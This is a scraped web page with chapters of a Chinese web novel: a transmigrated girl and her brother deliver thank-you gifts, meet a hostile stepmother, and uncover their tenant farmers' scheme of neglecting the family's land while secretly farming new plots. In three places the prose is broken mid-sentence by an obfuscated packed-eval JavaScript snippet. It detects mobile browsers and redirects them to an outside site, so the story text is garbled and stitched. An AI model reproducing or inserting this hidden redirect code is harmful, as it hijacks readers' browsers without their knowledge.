原本她还担心唐老头走了,这对小的日子恐怕不好过,邻里邻居的,想着多半还得帮衬着关心一二。这两天一看,倒觉得是自己多想了,看这姐弟俩的行事,都比从前稳重多了。 家里没了长辈,小的可不就得更快地立起来? 说起来,北境这种地方,只能这个活法。 一时又免不了想起自己战死的丈夫,葛三娘神色有些恍惚起来。进屋后,她随手拿起姐弟俩送来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901872|176676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉米饼,放在嘴里咬了一口,微微一愣。 那些惆怅心事一下子消弭无形,葛三娘拿起饼子将外壳撕了下来,仔细品尝,心里怪道:这饼怎么烙的? 看着也不见咋特别,竟这么好吃? 沈家院子里则热闹得多。 老沈头两个儿子都成了家,这会儿院里两个小娃娃正蹲在屋檐下玩捉石子,老伴儿在井边洗衣。 唐宛领着唐睦进了院子,笑着把来意说了,沈老头爽朗一笑,摆手道:“你这闺女,跟我们客气什么?” 话音刚落,那两个原本玩得正起劲的小家伙听到有好吃的,哒哒跑过来,两双乌溜溜的黑眼睛眨也不眨地盯着唐宛手里的竹篮,看着那一叠香喷喷黄灿灿的玉米饼。 唐宛见状忍不住乐了,半蹲下身子问他们:“你们要不要去洗个手,过来吃饼?” 两个娃娃一听这话,立刻低头看看自己那双灰扑扑的小手,又看看饼,毫不犹豫丢了石子就往院角的水井跑,催促井边洗衣的祖母舀了水给洗手,小脸都溅上了水珠,边洗还边咯咯乐。 没一会儿,两人蹭蹭蹭跑回来,一人小心捧着一个饼子吃起来。 “哇,好吃好吃!” “外头脆脆的,里头又甜又软,阿爷你也尝尝!” 老沈头原本不以为然,心说不就是玉米饼子,哪里有什么稀奇? 冷不丁被小孙女塞了一口饼,他随意嚼了嚼,外头那层焦壳先发出几声脆响,里面却蓬松软糯,带着玉米碴子特有的香味,吃着却不喇嗓子不噎人。 他愣了愣,瞅着唐宛,忍不住笑起来:“行啊,你这闺女手艺还不错!” 唐宛弯着眼眸:“您喜欢吃就好!这是头回做,下回再做点别的给您尝。” 说着,她把篮子里那块割好的五花肉也捧出来,双手递过去:“还有这个,给孩子们添个菜。” 沈老头看着唐宛那双亮晶晶的眼睛,知道她不是客套,便不跟她多推辞,笑着收下。 东西送出去,姐弟俩没多留,告辞后再往陆家去。 沈老头看着他们背影,冲在井边洗衣的老伴儿感叹一句:“这丫头比当年她阿爷还周全,懂事得很。” 老伴儿把湿衣裳拧了拧干,跟着点头:“听说两个孩子都能写会算,这不比什么好?陈家母子俩没眼光啊……” 肃北营多是从各地征召的军户,行伍里头能提刀的多,会提笔的少。老唐头在军里当了大半辈子书吏,退下后给街坊们写信读信,因为这个,老唐头在附近几条巷子乃至整个怀戎县都颇有些声名,大家都指着他的笔墨跟家乡的亲人联络。 这也就是为什么,唐睦去为姐姐讨公道时,那么多街坊无声表达支持。 都是这些年结下的善缘。 姐弟俩出了沈家院子,往青石巷去。 陆家就住在青石巷,也是因为唐爷爷经常帮他们家写信才结下的交情。 不过陆家人知道唐家的门在哪儿,唐家姐弟俩却没去过陆家,一路打听着找上门时,已经快晌午了。 唐宛也是到了门口才想起来:“陆二哥会不会不在家?” 唐睦也愣了一下。 陆铮约莫十七八岁的年纪,是已经袭了军户的,那天他就是从大营里回来的路上看到唐宛落水顺手救下了她的。 “他不在家,也没事吧?先把东西给他家里人,再问问他什么时候回来,下次当面道谢。” “也只能先这样了。” 青石巷这边军阶稍高的军户住得多,家家户户的房子看着比榆树巷要宽敞。 不过也没有好很多。 怀戎原是新设军屯,房子分得紧凑,一年一年的添丁加口,人口多了,就显得地方拥挤了些。 姐弟俩在陆家门口站定,唐宛扬声问:“请问,这里是陆铮陆二哥家吗?” 屋里传来脚步声,一个穿着半新袄裙的妇人走出来,看着门口的姐弟俩,眉头皱了皱:“你们是谁?” 8. 手掌很大 眼前的妇人约莫三十来岁的年纪,唐宛猜测她应该就是陆家的女主人,陆铮的后母,便笑着上前:“婶子好,我是榆树巷唐家的,您叫我宛娘就行,这是我弟弟唐睦。前些天我落水,多亏陆二哥出手相救,不然命都保不住。这两天身子才缓过来,这不想着登门当面道个谢。” 说着,她把手里的竹篮往前略抬了抬,盖在上头的棉布一掀,露出里面码得整整齐齐的玉米饼子,旁边还压着一块上好的五花肉。 这妇人正是陆铮的继母王银花,目光在篮子里一转,抬眼将唐宛从头到脚打量了一遍。 “那事儿我听说了,原来是你啊。” 实际上,王银花一打照面就猜到姐弟俩的身份,只是故意装作不认识的样子。 那天陆铮救了一个姑娘,回来时浑身湿透,一路上被不少街坊瞧见了,最近没少被嚼舌根。 原先她还不清楚具体怎么回事,这两天听了些闲话,心里就很不得劲。 都说那被救的唐家姑娘是被退了婚想不开去投水的,陆铮平时也不是爱管闲事的性子,却没事找事救了这样一个人。 这姑娘前头婚事没了指望,万一为了找下家,赖上他可怎么弄? 陆铮脾气硬,本就不服管,他的婚事王银花早有安排,但旁敲侧击好几回,这家伙就是不肯答应,他爹开口了都不听。 王银花打量着这唐家的姑娘,长得倒是白皙俊俏,可惜家里一穷二白,要不怎么被退了亲? 这么想着,脸上就露出几分嫌弃。 她不冷不热地开口:“陆铮不在家。” 唐宛见她神色冷淡,并不认为自己哪里得罪了此人,只当对方脾气本就这样,继续笑问:“婶子可知他什么时候回来?我好当面……” 王银花一哂,心道果然如此,声音越发轻慢:“这阵子军中也得春耕,他忙得很,不怎么着家。” 唐宛便是再迟钝,也听出了几分,虽不明白这人到底什么意思,却也不愿再热脸贴冷屁股。 毕竟她的救命恩人是陆铮,而不是眼前这个莫名其妙的后妈。 “既然如此,那就算了,我们改日再来。” 唐宛笑了笑,转身招呼唐睦便要离开。 王银花微愣,眼睁睁看着她随手将棉布盖回去,将篮子挎在手臂上,这是要将谢礼原路带回去吗? 王银花眼尖,一眼就瞧见了篮子里头那些黄澄澄的饼子和色泽新鲜的五花肉,看着份量都不少。 要不是为着这个,她何必在门口闲扯这么多? 都说唐家人能写会算是个读书人家,生养的姑娘却这样不知礼数,哪有送礼半路带回去的道理? 王氏气得头疼,到底拉不下脸张口要东西,狠狠跺了几脚,才回屋去。 回去的路上,唐睦迟疑地问唐宛:“阿姊,东西没送出去,就这么带回来,合适吗?” 唐宛哼了声:“有什么关系,陆铮又不在家。” 她看向唐睦:“你没看到那女人看我们的眼神吗?好像我们是什么脏东西似的。” 唐睦当然也看出来了,皱了皱眉:“她为什么这样?我们又没得罪她。” 唐宛也不清楚,她懒得猜:“她不喜欢我们,多半也不喜欢我们送的东西,与其憋憋屈屈地送他们,不如我们自己留着。等下次陆铮回家,我们再来。” 唐睦点了点头,笑着:“阿姊,我前些日子帮几个军中的哥哥们写信了,到时候跟他们打听一下,看看陆二哥什么时候休息归家。” “好。” 姐弟俩说说笑笑走出青石巷,正准备绕回榆树巷,前头忽然传来哒哒的马蹄声。 抬眼一看,正好看到两个骑马的人迎面而来,马背上人影很高,风尘仆仆。 唐睦眼睛一亮,率先认出来,扬声喊了句:“是陆大哥和陆二哥!” 说话间那两人都勒住马,利落地翻身下来。 唐宛微愣看着两人走近,第一个念头就是,这两人长得好高啊。 可能是军人的缘故,两人身上都带着某种杀伐之气,即便离得并不近,距离姐弟俩三四米的地方就停下了步子,却依然能够感受到那种无形的压迫感。 两个男人都是宽肩窄腰,身形笔挺,尤其是更年轻些的那个,薄唇微抿,眉眼冷峻,颜值哪怕放在现代娱乐圈也很能打。 唐宛没忍住多看了几眼,脑海中忽然闪过那天在水里,被那双有力的胳膊紧紧抱住的感觉,背后仿佛还能回忆起当时感受到的暖热肌理,不由得眼眸微闪,随即移开了视线。 陆铎先打了声招呼,语气随和:“宛娘子,睦哥儿,怎么到这边来了?” 唐宛连忙回神,笑着开口:“我们是来找陆二哥的,那天多亏了他。按理说早就该上门道谢的,只是当时……” 陆铎点了点头:“我听陆铮说过,当时你回去还昏迷着,现在好些了吗?” “多谢陆大哥关心,我好多了。”唐宛说着,想起什么,连忙从手里提着的篮子递了过去。 “这是今天早上才烙的几个饼子,和一块新鲜的五花肉,原是想送到您家里去的,这不正巧碰上了。” 陆铎没接,看了眼站在一旁的陆铮。 唐宛这才反应过来,那才是正主呢,连忙又把篮子朝陆铮那边送了送,语气比刚才更真挚几分:“多谢陆二哥那天出手搭救。” 陆铮脸色有点紧,闻言微不可见地点了点头,轻轻咳了声才说:“当时的情况,谁看到了都会搭把手的,你……不用客气。” 唐宛笑了笑,软声回道:“也不是什么好东西,就是几个饼子,春耕时地里忙,怕是赶不上饭时,带着做干粮,省得饿肚子。” 她说话时,目光落在陆铮脸上,黑白分明的眼睛亮晶晶的。 陆铮抿了抿唇,没再拒绝,低头伸手接过了篮子。 唐宛注意到他的手掌很大,十指修长,骨节分明,手背有些许细碎的伤痕,看得出来干惯了粗活,接过竹篮时力气却很轻。 陆铎看了眼弟弟,又瞧了瞧他跟前的姐弟俩,笑着接话:“要不一起去家里坐坐?” 唐宛摆了摆手,含笑道:“才去过了,就不去了。听说军中这几日都在忙春耕的事,就不耽搁你们了,等这阵子忙完了,再来登门打扰。” 这段时间确实很忙,北境守军除了戍守边关抵御外敌,平日还有开荒屯田的任务。有唐家这种把名下的田地佃给人耕种的,也有陆家这种人口多的,自家人耕种的。毕竟佃给旁人收成也要分出去一部分,去除缴纳的官粮,剩不了多少了,不比自家耕种划算。 这几日,他们在军中紧赶慢赶,才把营地屯田的农活儿都弄完了,这会儿正打算回家取粮种,准备出城弄自家的田地。 “那也好,等忙过这阵子,来家里吃个饭。”陆铎说着,也不再客套,翻身又上了马。 “好,那我们就先回了。” 唐宛姐弟俩稍稍后退,看着那两匹马转头进了青石巷口。 唐宛收回视线,看向弟弟:“咱家的春耕,是不是也得开始了?” 唐睦嗯了一声,神色有些迟疑。 “去年阿爷就说过,想换个佃户。咱家三十亩地从前佃给吴家兄弟种,可这些年收成一年比一年少,除掉缴官粮和给他们家的,剩余寥寥无几,也不知是真的收成不好,还是——” 他没说得太明白,不过唐宛也听懂了。要不就是吴家兄弟不尽心,或者就是他们不太实诚,克扣了粮食。 “不过,要换的话,早就该着手了,现在这时候,怕是来不及,恐怕还得多等一年。” 唐宛想了想,说:“要不……我们去城外看看吧?咱家的田,我们是不是还没看过?” 唐睦愣了下,他们姐弟俩谁也没种过地,甚至阿爷在世时也不怎么懂田里的事,不然也不会被吴家人年年糊弄,他们去看倒是没什么,只是能看出什么? 不过,既然阿姊提出来,他也不反对,便说:“好,横竖没什么事,就去看看吧。” - 青石巷里,陆家兄弟骑马往家走,因着刚才的小插曲,两人都没有跑快。 信马由缰地走了一阵,陆铎忽然想起什么,眉头微拧,有些迟疑地开口:“方才宛娘子是不是说来过咱家了?家里是没人应门吗?怎么东西送到我们手里来了?” 看姐弟俩的姿态,倘若路上没遇到他们,多半是要带回去的。 陆铮听着,不知想到什么,脸色沉了沉,哼了声:“谁知道呢。” 说话间两人已到了院门口,刚下马,陆铎的妻子沈玉娘听见马蹄声出来相迎,颇意外地问道:“怎么这会子就回来了?” 陆铎把马儿系在拴马桩上,便往家走:“大营那边的官田刚忙完,我们回来取些种粮,再赶去种咱自家的地。” 沈玉娘看着丈夫脸上带着风尘,不禁有些心疼,轻声劝:“这都连着忙了好些天了,要不先歇半日,明儿再下地也不迟。” 陆铎听着心里受用,却笑着摇头:“没事,我不累。这几天天色好,得抓紧把地都耕一遍,等下雨了麻烦。” 正说着,屋里跑出两个团子般的龙凤胎,一左一右扑进陆铎怀里,奶声奶气地喊:“爹爹回来了!” 两小只被爹爹抱在怀里掂了掂份量,又回头去望陆铮,甜甜喊:“二叔!” 陆铮看着兄嫂夫妻和睦,双生子玉雪可爱,脸上淡淡的,心里却颇有点羡慕。 他浅浅笑了笑,看了眼手里拎着的竹篮,嗓音放和缓了些:“这里有饼子,去井边洗了手来吃。” 双胞胎一听,眼睛都亮了,欢呼着撒腿跑去院角打水。 沈玉娘这才注意到他手里的篮子,疑惑道:“这饼子哪儿来的?” 陆铎便把路上遇到唐家姐弟的事说了,说完问沈玉娘:“他们先前是不是来过咱家?” 沈玉娘欲言又止,迟疑了一瞬才低声道:“一刻钟前确实来过……娘出去应的门,不知说了什么,进屋时脸色黑得很。” 陆铎微愣,一时间不知道说什么。 刚才他看唐宛脸上笑盈盈的,还真没看出有什么不愉快。 陆铮在一旁听着,眼底闪过一抹冷意,扯了扯嘴角道:“哥,难得回家一趟,你陪嫂子说会儿话,我去把后头种粮扛出来,待会儿就得走了。” 说完抬脚进了堂屋,顺手把手里的竹篮放在桌上,径直往后院走去。 等他扛着粮种出来时,就听见屋里传来孩子们的吵闹声。 他脚步一顿,只扫了一眼,就知道怎么回事。 原来龙凤胎洗了手回来,正在堂屋里拿饼子吃,谁料给陆铭撞见了。 陆铭一瞧见两个小的吃得香,二话不说就上手抢,凶巴巴地问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆铮闻言皱了皱眉,还没说什么,王银花就先看向他:“铮哥儿这段时间就在大营里待着,先不要回家了,免得这家人又上门,被人算计上。” 陆铮心底暗笑,这算不算贼喊捉贼? 他冷声道:“这是我的事,不用你管。” 说完他也不再多看王银花一眼,绕过她走去后院,三两步扛起一袋粮种,就要往外走。 王银花被怼得脸色一阵青一阵白,嘴巴张了张,到底没敢多说什么。 陆铮不像他哥,惹恼了他真敢翻脸,就连他爹的话也不一定管用。 她看向陆铎,想通过他劝几句,谁知陆铎眼底也透出几分不悦,并不理会她。 他回屋对沈玉娘交代了几句,又摸了摸两个小家伙的发顶,低声说:“你们在家听娘亲的话,爹爹晚上给你们带点好吃的。” 两个小的正在吃香香甜甜的玉米饼,这会子也不哭了,答应的一个比一个乖。 就这样,兄弟俩难得回家一趟,却坐都没坐,直接出来了。 陆铎策马跟上陆铮,瞧着他冷着一张脸往前走,便开口劝了句:“你别听她的,还是回家睡吧。这时节夜里还有点冷,白天也忙,大营里睡不好觉。” 陆铮闻言只是冷嗤一声:“算了,我在家也睡不好。” 陆家的院子不算小,陆父和王氏住主屋,原本陆铎住东厢,陆铮住西厢,陆铭年纪还小,理应住在主屋的侧间。偏王氏会盘算,非把陆铭塞进陆铮这屋,还说陆铮平日里住在大营,西厢房间大,平日空着可惜。 如今他每日回家,看到原本整洁干净的房间被陆铭弄得跟狗窝一样,都不想进去。 不过,睡大营当然更不美好。 军中的汉子糙得很,晚上睡大通铺,放屁的磨牙的说梦话的,一宿不带消停,确实也睡不好。 陆铮心里已经打定了主意,他要抓紧时间攒钱,回头另外置办房屋,分出去单过。 这主意不是一两天有的,自从娶了王氏,他爹的心都偏到没边了,他在这个家里一天也待不下去。 陆铎知道他的打算,却也知道,这事儿不容易。 兄弟俩入伍之后,饷银有一半要贴补家里,平时吃穿花销都是自己负担,根本攒不下钱。陆铮只能平日不当值的时候见缝插针进山打猎,偶尔赚点私房钱存着,可真要赚出一套宅子来,却不是一时半会儿能成的事儿。 陆铮性子倔,多说无益,他便想聊聊别的。 陆铎想起今天唐家姐弟送东西的一幕,神色有些微妙。 他这个弟弟从小跟女子不亲近,见到姑娘家总黑着一张脸,不论人家怎么跟他说话都不搭腔。他原本还担心弟弟要失礼,没想到两人站在路边,竟然说上了几句。 于是忍不住试探:“说起来,唐家姑娘看着确实挺不错的,很懂礼数,模样也好。” 陆铮没来由想起那天在水底发生的事。 他耳尖微热,声音却有些冷:“说这个做什么。” “你年纪也差不多了,得考虑娶亲的事了。” “娶亲?娶回来跟陆铭挤一个屋子吗?” 陆铎被噎得没话说,半晌才骂道:“你这是什么话?” “实话。” 陆铮想得很清楚,存够宅子的钱之前他都不打算成亲。 既然还不到谈婚事的时候,总瞧人家姑娘做什么。 9. 恩将仇报 唐宛姐弟俩回了趟家,寻来木梯上房梁找到了家中地契,小心揣在怀里。 之后复又锁了门,这次却是先往集市租了一辆骡车,往城外去。 怀戎县虽说叫“县”,其实是边陲重镇,县城依山傍水而建,城墙巍峨坚实,护着一方军民的安危。城外则散布着不少营堡,有士兵驻守巡逻瞭望,以防北狄随时可能的来犯。 榆树巷距离怀戎县城的西城门较近些,骡车载着姐弟俩沿着河岸走出巷子,一路上人来车往,时下正是春耕时节,挑担的、赶车的,不少人都往城外赶,正是忙碌的时候。 到了西城门,遇到更多排着队往城外去的人和车。出城这边倒还比较宽松,守门的士兵粗略在两人面上扫了一眼,见是熟悉面孔,大手一挥便放了人出去。 倒是进城那边较为严格,不仅仔细查看出入凭引,遇到生面孔的,对其携带物品也会盘查一番。 唐宛远远瞧着,心中倒生出了些安全感。 出了城门,眼前的景象一下子就变得开阔不少。 放眼望去,视野里尽是大片被翻耕好的农田,整齐的田垄里隐约已经泛起了嫩绿,上头有整齐的饮水痕迹,应是已经播种完毕。 “这一片都是军里的官田,你家的地得更远些。”赶骡车的大叔随口解释。 姐弟俩以前从未去过自家的地,因此也不认得路,只得把地契上写的方位给这位大叔说了。好在大叔拉客多年,对城外的地都比较熟悉,虽然并未去过那里,却多少有些印象。 骡车驶出城外后,就变得颠簸起来,唐宛攥紧了车沿,四下张望观察。 一边问那赶骡车的大叔:“这田里都种的什么?” 看这姐弟俩也不像是会下地干活的样子,问出这种话来也不足为奇。 便笑呵呵地说:“多是黍子、春粟和春小麦,空置的地过段时间会种玉蜀黍。” 唐宛点了点头。 黍子是高粱,春粟和春小麦分别是小米和小麦,在南方可以种春秋两茬,北境却不太行,入秋之后气温很快就会降下来,种什么也不成了,玉蜀黍则是玉米。 唐宛一路跟大叔打听农事,东一句西一句的,听得细致,路也不觉得远了。不知不觉离开了军田地界,再外围才是各军户自家的私田,每家地有界石为标记,界石边插了木牌写着所属军户的姓氏。 私田的耕种进度明显落后于军田,不少是才刚犁开的荒地,翻出来的新土还带着潮气,有人正在挑着肥桶施肥,有人弯腰点种子,更多的则是扶着犁头赶着牛,一行行往前翻。 唐宛远远观察,那牛拖着的似乎是木犁,速度不快,翻的地也不深。 她不禁有些怀念现代的便利。 当初她租那农家小院的时候,也开了一片地来种菜。不过那会儿多方便,开荒的时候直接叫了辆挖掘机,一两个小时就把院子后面的荒地给整齐了,也就是期间捡石头花了些时间,之后又买了一台小型的耕地机,她一个女生亲自动手,只一两天的时间就把那块地收拾得整齐又漂亮。 如今却是什么都得人力来做,想想就很头大。 不过唐宛观察下来,这个时代耕种方式虽然比较原始,费时费力,但北境的土倒是很好。土壤很肥沃,黑里带着灰,抓一把松软透气,这种土壤种什么应该都会很好,多少算是个安慰。 如此又走了一阵子,大叔便不大认得路了,一路打听着,往唐家的土地方位赶去。 越往前走,他们能越发感觉到,四周人烟稀少,佃户也变得稀稀落落。唐宛注意到前方不远处似乎有几栋房屋,其中有一栋约莫四五层楼高的建筑格外显眼。 “那是什么?”唐宛问赶骡车的大叔。 大叔顺着她手指的方向看了一眼,道:“那是营堡的瞭望台,如果北狄人来犯,他们会点起狼烟示警,附近的营兵便会赶来支援。” 北狄人来犯?唐宛微微一愣。 难怪唐爷爷从来不让姐弟俩来地里,他们的土地距离前线竟然这么近。 她下意识地想,自己是不是得想个办法搬离此处,去往更安全的地方安家? 可一转念就知道这个想法并不现实。属于原主的记忆告诉她,这件事没那么简单。唐家是军户,没有得到允许绝对不可擅离此地,否则便是逃兵,轻则革除军籍,重则问罪处斩。即便她能设法顺利脱身,古代户籍管理严格,到别处能否顺利落脚也是一大难题。 另外,唐宛看着四周的土地垂下眼眸。军户的福利其实很不错,三十亩良田在这个时代恐怕不是随便谁都能拥有的,况且原身祖父是老兵,声望很好,父亲是为国捐躯的,一家子守家卫国的好名声,总不能因为她而败坏了。 她的三观也不允许自己这么做。 既然其他军户能在此处安家立身,她没道理不行,如此想着,心里便安定了许多。 赶车的大叔见女孩迟迟不出声,以为她吓着了,便安慰道:“娘子别怕,这几年大将军戍边,给了北狄人不少教训,他们等闲不敢来犯的,放心吧。” 唐宛闻言更宽心,点了点头。 等终于抵达地方的时候,看到的情况却让他们有点惊讶。 “这是咱家的地?” “……应该是。” 同样的土地,隔着不过几步,别人家的土黑黝黝被仔细翻耕了一遍,不难看出去年的草木灰痕迹,湿土看着就很肥沃。 而唐家这块,却像是根本没人管的荒地。 田里荒草丛生,去年留下的枯茬还在,根本看不出新翻过的痕迹。若说今年还没下种也罢,单看这土的模样,去岁秋后也没做过一点养护。 北境冬天苦寒并不耕种,但秋收后也得焚茬烧草灰、填埋秸秆,让地透气松软,好留住地力。哪能像现在这样,什么都不管,土地板结发白,看着竟比荒地还不如。 唐宛蹲下身,抠了把土,跟隔壁田比了比,心里已经有了数。 这吴家兄弟,何止是不上心,这是把唐家人当猴耍呢。 大叔赶着骡子调转车头,姐弟俩往最近的村落行去。 怀戎县城外,营堡范围以内有不少村落。多年的战乱、灾荒,使得不少百姓背井离乡。 北境虽然严寒,却也有不少人流落到此地。 饮马河村就是有几十户流民建起来的村落,以村东头流经的饮马河为名,吴家兄弟就住在那里。 姐弟俩本打算去吴家质问,未料到还没走出多远,唐睦就叫停了骡车。 “阿姊,你看那里!” 唐睦指着不远处的农田,田埂边一个挑着担子的农人:“那是不是吴老二?” 唐宛其实不太认得人,但唐睦定不会认错,毕竟他说过前不久吴家兄弟还上门催要今年的粮种。 唐睦锐利的目光转向田地里劳作中几人,有老有小,果然都是吴家的,吴老大手扶木犁正跟在一头老牛身后翻土。 牛走得慢,耕地却细致,隔得老远也能看出来土色乌润,垄沟整齐利落,一看就是花了心思的。 唐宛远远看着,不禁感到奇怪,吴家成年劳力一共六人,照料三十亩地已然有些吃力,难道还佃了其他军户的地? 她没急着开口,唐睦却已气红了眼,就要从骡车上跳下去找人质问,却被唐宛一把抓住。 “先别急。” “阿姊,他们欺人太甚了……” 唐宛道:“我们先去打听一下,看看到底怎么回事。” 他们姐弟两个年幼,又什么情况都不清楚,直接上去理论,怕是落不到什么好。 唐睦被阿姊轻声劝了几句,稍稍冷静下来,忍着怒气点了点头。 唐宛于是对赶车人道:“大叔,我们还是去饮马河村。” 大叔听姐弟俩说话,心里大概猜到怎么回事,叹了口气没说什么,只催着骡子继续往前走。 唐睦心内却十分不平,低声忿忿道:“这家人当年逃荒到北境,流落街头要饭,大冬天差点冻死在咱家门口,要不是阿爷把他们安顿下来,接济了一个冬天,开春还把咱家的地佃给他们,才让他们一家老小顺利在北境落下脚来……” 当年这家人哭着喊着要报答唐家恩情的时候,到底是真心还是假意?唐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901874|176676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睦这段时间遭遇的背叛一件接着一件,小小少年的心里既茫然又委屈。 唐宛拍了拍他胳膊,宽慰道:“别想太多,会没事的。” 唐睦闻言只能点了点头,不管旁人如何待他,幸好他还有阿姊。 饮马河村并不很远,唐宛让赶车大叔在村头暂等,带着唐睦下车往村子里去。 房舍低矮,这时节村民也多在田地里忙碌,村子里没什么成年劳力,只有些妇孺在家。看到有陌生人进村,眼神中多有防备,但细看是一对半大不小的孩子,才稍稍松懈下来。 姐弟俩远远看到有几个村妇聚在一起搓麻绳纳鞋底,便往那处行去。 村妇们见他们近前都有些疑惑。 唐宛便道他们姐弟是城中军户,此行是来寻访佃户的。这么一说村妇们就明白了,眼神里都多了几分热切。 “我们姐弟年纪小,也不懂农事,怕被人蒙骗了去。几位婶婶若是方便,可否给我们指点指点,这里头可有什么门道?” 饮马河村的村民多半都是在营堡外头开荒的,离得远不说,平日里提心吊胆,还要防备北狄人来犯。如果能在营堡内部佃田,主家出钱出粮,安全也有保障,谁不想为自家争到这个活计?于是七嘴八舌地说道起来。 唐宛仔细听了,暗自都记下,等众人说得差不多了,却忽然话音一转:“我听说别的村子有佃户,一家揽着两户的田,忙不过来了,就种着一户的荒着一户的,可是真有这种事?” 她语气随意,眼神却暗自留意众农妇的反应,果然看到有几人脸色变了变,却也有人不以为然,笑着摆手:“这哪能呢?我只听说一家田几家帮着种,还没听过一家人揽着两家田这个理儿,且不说忙不忙得过来,主家也不同意的不是?谁家的良田能这么耽搁?” 唐宛扯了扯嘴角,眼底却没有笑意,她借口讨杯水喝,跟那脸色有异的农妇进屋去,一番旁敲侧击之下,总算套出实话来。 原来那吴家兄弟并非佃了两户的田,而是打着唐家的名头,开垦了新地。 唐家原本的三十亩地,吴家人不过敷衍糊弄着,只保着每年能按时缴上官粮,却把一家老小主要精力放在新开的地里。 只因北境军户有个鼓励开荒的规定。 军户名下原有的分地,每亩每年需要交两石粮,但新垦的荒地,头三年可免缴征粮,之后也只需缴纳一半。朝廷此举原本意是为了鼓励屯垦,却叫吴家兄弟钻了空子。 吴家兄弟为唐家佃田这么多年,早就看出唐家老小不通农务,又心地慈善,只要按时缴纳了军粮,余下的收成多些少些,只要借口编得真切,多半都能蒙混过去。 于是他们便打了私自开荒,暗中昧下新田收成的主意。 这几年,他们挂着唐家军户的名头,在堡寨内部开了十多亩新地,却从没跟唐家提过一个字。多出来的粮,全都进了自家粮仓,分毫没给主家。 老唐头还在世的时候,兄弟俩多少还有所收敛,哪怕是做样子,也都先紧着原本的三十亩地来耕种。得知老人家去岁病逝,剩下两个什么也不懂的半大孩子,他们索性装都懒得装了。今年那三十亩地具体怎么处置,且得等他们把新地都伺候好了再说。 所以,他们也只是前段时间去唐家跑得勤,见姐弟俩连春耕的种子都拿不出来,就更加宽心。这理由都是现成的,主家种子都拿不出,能有什么好收成? 不过他们也怕唐家真交不出粮,回头土地被军中收回,于是打算这些田就随便种些粮食,等到秋收的时候把官粮缴上去。到那时,他们就占尽了理儿,主家不给粮种,佃户却贴补着耕种,谁人能说他家不懂得报恩?不夸他们一句忠心耿耿? 假以时日,主家的三十亩田,说不得就这么被他们吞得干干净净。 那农妇不知唐宛的身份,只把这事儿当个闲话说给她听,并且拍着胸脯保证,自家绝对不会做出这等子缺德事。 唐宛抿了抿唇,眼神冰冷。 看来她不让唐睦跟吴家人直接冲突是对的。这等子心计手段的人家,姐弟俩倘若直接闹起来,还不知会吃什么亏。 10. 一纸诉状 唐宛将打听到的原委跟唐睦细细地说了,姐弟俩低声商议片刻,决定不再去找吴家人,回到村口与那赶骡马的大叔汇合,直接回怀戎县城。 此刻日头偏西,拂面的春风已经带上了些许凉意。 唐宛见弟弟一直耷拉着脑袋,脸上蔫蔫的没什么精神,有心宽慰几句,便柔声说起晚间的吃食来。 “晌午咱们不是才买了一幅猪肺吗?阿姊回去炖汤给你喝。” 半大少年郎正是长身体的时候,大半日没吃东西本就腹内空空,加上许久没见荤腥,听到个“肉”字果然被吸引了注意力。 时人惯常一日两餐,只有干重活的农人和操练的士兵才会在日间添顿午饭,唐宛自己也觉得有些饿了,脑中不自觉开始盘算晚餐的做法。唐家灶间除了粗盐和小半罐子猪油,什么辛香料调味品都没有,目光不由得在道边逡巡起来。 果不其然叫她发现了几样野菜,途径一处杂木林的时候,隐约看到几丛新绿,看着似乎是野葱,便连忙叫停了骡车,下去看了看。 唐睦也跟着下车,问她:“阿姊寻什么呢?” 唐宛蹲下身仔细看了看,可能时节还不到,这些野葱不够粗壮,却也胜在鲜嫩青翠。她抬眼看了看,城门已在不远处,道上来来往往都是耕种的兵卒农人,于安全上应该也没什么大碍,便干脆起身支付了车钱,让骡马先回城去。 转脸对唐睦道:“我们采些野菜回去佐汤。” 唐睦自然没有不答应的。 两人各自折了一根树枝敲打草叶,以防林子里有蛇虫潜伏。之后分头寻找,不多时便挖到了不少野葱,以及半堆荠菜苦苣。 唐睦对这些野菜并不陌生。以往有几年家中收成不好,他跟阿爷、阿姊出来挖过野菜,却并不期待它们的滋味,怎么煮都是一股苦味。 不过少年性子纯善,并不挑食,即便不喜欢也不轻言排斥,毕竟这些在灾时都是救命的东西,见阿姊想要,便多多的找到并摘回去。 “这些野菜都挺嫩生的,吃起来应当没那么苦。”少年这般安慰唐宛。 唐宛没听出弟弟的言不由衷,闻言笑着点头:“嗯嗯,等回家去就焯了水,切得碎碎的炒鸡蛋吃,应该会很香。” “炒鸡蛋?”唐睦微愣,以前倒是没吃过这样的做法。 天黑之后就要关城门,眼看着日头西斜,姐弟俩摘了足够多的野菜,便不再耽搁,以草绳分别捆扎妥当,匆匆回了城。 唐宛这才发觉,原主这幅身子骨竟然相当结实,走了这许多路脸不红气不喘的,倒比前世自己那副亚健康的状态强上许多。 等回到家中,唐睦麻利地打了井水,就在井边将野菜仔细择洗了,唐宛则在一旁处理猪肺。 